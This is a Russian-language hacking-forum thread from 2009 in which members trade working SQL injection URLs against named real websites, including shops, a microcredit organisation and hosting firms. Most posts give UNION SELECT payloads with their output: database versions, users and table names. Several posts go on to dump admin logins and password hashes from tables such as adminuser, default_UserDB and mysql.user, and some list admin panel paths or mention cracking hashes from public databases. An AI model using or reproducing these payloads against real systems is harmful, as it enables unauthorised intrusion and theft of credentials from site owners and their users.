01.11.2009, 23:29
|
|
Участник форума
Регистрация: 30.10.2009
Сообщений: 103
С нами:
8700497
Репутация:
388
|
|
2pelligrim, скулю на santafe-club.Ru я выкладывал на прошлой стр
http://www.solitaire-labs.com/article_show.php?id=-5+union+select+1,2,group_concat(0x0b,column_name), 4,5,6,7,8+from+information_schema.columns+where+ta ble_name=0x61646d696e75736572
MySQL 5.0.81-community
http://www.solitaire-labs.com/article_show.php?id=-5+union+select+1,2,group_concat(0x0b,adminuser,0x3 a,password,0x3a,level),4,5,6,7,8+from+adminuser
админка http://www.solitaire-labs.com/admin
==============================
http://serbianbaseball.org/view_news.php?id=-4+union+select+1,group_concat(0x0b,id,0x3a,user,0x 3a,pass),3,4+from+admin
MySQL 5.0.81-community
==============================
Забугорный Вэб - Хостинг
www.risingnet.net/news_info.php?id=-4+union+select+1,2,table_name,4,5,6,7+from+informa tion_schema.tables+limit+28,1
MySQL 5.0.45
http://www.risingnet.net/news_info.php?id=-4+union+select+1,2,column_name,4,5,6,7+from+inform ation_schema.columns+where+table_name=0x757365725f 6163636f756e74+limit+32,1
интересные таблицы
user_account, user_webinfo
думаю можно убить время и докрутить до логического конца, мне не хватило желания
Последний раз редактировалось Bb0y; 02.11.2009 в 02:42..
|
|
|
02.11.2009, 06:15
|
|
Познающий
Регистрация: 09.04.2008
Сообщений: 79
С нами:
9520453
Репутация:
124
|
|
Магазин «Деревянный Рай»:
Код:
http://www.pskovles.ru/tovar.php?id=-1+union+select+1,2,3/*
Version: 4.1.22-log
Database: konkurent_svoi
User: konkurent_svoi@localhost
|
|
|
|
02.11.2009, 15:12
|
|
Участник форума
Регистрация: 14.03.2009
Сообщений: 237
С нами:
9031410
Репутация:
314
|
|
Микрокредитная организация "Алтын Орда"
http://altynorda.kz/news.php?id=0%20union%20select%201,ConCat_ws%280x3 a,user%28%29,database%28%29,version%28%29%29,3,4%2 0--
Последний раз редактировалось jokester; 02.11.2009 в 17:12..
Причина: kpla.kz боян
|
|
|
|
02.11.2009, 20:03
|
|
Участник форума
Регистрация: 30.10.2009
Сообщений: 103
С нами:
8700497
Репутация:
388
|
|
http://greenstreetprop.com/view_users.php?id=-4+union+select+1,column_name,3+from+information_sc hema.columns+where+table_name=0x64656661756c745f55 7365724442--
интересные таблици:
default_UserDB::ID:user_name:email_Address:user_pa ssword:isAdmin
default_UserDBElements
default_memberFormElements
default_userFavoriteListings
default_userFormElements
default_userImages
default_userSavedSearches
долбить буду default_UserDB
http://greenstreetprop.com/view_users.php?id=-4+union+select+1,concat_ws(0x3a,user_name,0x3a,use r_password),3+from+default_UserDB--
хэш админа отлично находит на паблик базах
админка: http://greenstreetprop.com/admin
MySQL 5.0.82sp 1
удобно что выводит все строки сразу, не надо играться с лимитами и гроуп конкатом.
слепая
|
|
|
|
02.11.2009, 20:25
|
|
Постоянный
Регистрация: 06.06.2007
Сообщений: 575
С нами:
9963746
Репутация:
180
|
|
http://www.izak.ru/article/index.php?id_article=-286+union+select+1,2,3,4,concat_ws(0x3a,user(),dat abase(),version()),6,7,8,9,10,11,12,13,14
u15468@10.10.153.207:u15468:5.0.67-log
если и это боян, то объясни мне как ты степень боянности определяешь ?
специально проверил на все ключевые слова в поиске, его нету.
|
|
|
|
02.11.2009, 20:48
|
|
Познающий
Регистрация: 18.10.2009
Сообщений: 68
С нами:
8717851
Репутация:
90
|
|
Код:
http://www.antonpaleev.ru/show.php?id=52+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+--+
http://www.ppp-pf.ru/show.php?id=154+and+1=0+union+select+1,2,3,4,5,6,7,8--
http://www.egyptt.ru/show.php?id=4+and+1=0+union+select+1,2--
http://www.datatec.ru/show.php?id=271+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--
http://www.expertitalia.ru/show.php?id=1252182905+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12--
|
|
|
|
02.11.2009, 21:04
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
http://www.pc-coolers.ro/produs.php?id=-103+UNION+SELECT+1,concat_ws(0x3a,version(),databa se(),user(),@@version_compile_os),3,4,5,6,7,8,9,10 ,11,12,13,14,15,16,17,18,19,20,21/*
Database Version: 4.1.22-log
Database name: pcc
User name: pcc@localhost
Os: redhat-linux-gnu
|
|
|
|
02.11.2009, 23:08
|
|
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами:
8728261
Репутация:
211
|
|
http://job.aviso.ua/news.php?id=-1482+union+select+1,2,version(),4,5,6,7--
|
|
|
|
02.11.2009, 23:09
|
|
Познающий
Регистрация: 18.10.2009
Сообщений: 68
С нами:
8717851
Репутация:
90
|
|
Код:
http://orgo-x-libris.ru/show.php?id=13+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10--
http://www.jupiter-group.ru/product/?menu=Case&flag=2&id=46+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--
http://www.ansmann.ru/catalog/second_1_1.php?id=-62+union+select+1,2,3,4,5,6,7,8+--+
http://wi-fi.auditory.ru/NNews.php?action=View&ID=30+and+1=0+union+select+1,2,3,4,5--
|
|
|
|
02.11.2009, 23:23
|
|
Banned
Регистрация: 02.01.2009
Сообщений: 29
С нами:
9133839
Репутация:
85
|
|
Код:
http://www.volgotrans.mv.ru/front/catalog.php?id=-2+union+select+1,concat_ws(0x3a,version(),user(),database())--
5.0.51a-24-log:kater@localhost:volgotrans
Код:
http://www.alona-bondarenko.com/index.php?area=1&p=gallery&action=showimages&galid=-30+union+select+1,concat_ws(0x3a,version(),user(),database()),3
5.0.67-percona-highperf-b7-log:woyager@localhost:woyager
Код:
http://www.unitedbakers.ru/index.php?section_id=-1+union+select+1,2,concat_ws(0x3a,version(),user(),database(),@@version_compile_os),4,5,6,7,8,9,10,11,12--
Код:
http://www.unitedbakers.ru/index.php?section_id=-1+union+select+1,2,concat_ws(0x3a,email,u_login,u_passwd),4,5,6,7,8,9,10,11,12+from+users+limit+100,10000--
5.0.67:unitedbakersru@78.108.81.221:unitedbakersru _ub : portbld-freebsd7.0
Код:
http://www.newage.ru/?mod=s_page&sp_id=-2+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database(),@@version_compile_os),6,7,8,9,10,11,12--
Код:
http://www.newage.ru/?mod=s_page&sp_id=-2+union+select+1,2,3,4,concat_ws(0x3a,password,user),6,7,8,9,10,11,12+from+mysql.user--
5.0.67-log:root@localhost:test:redhat-linux-gnu |
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Комбинированный вид
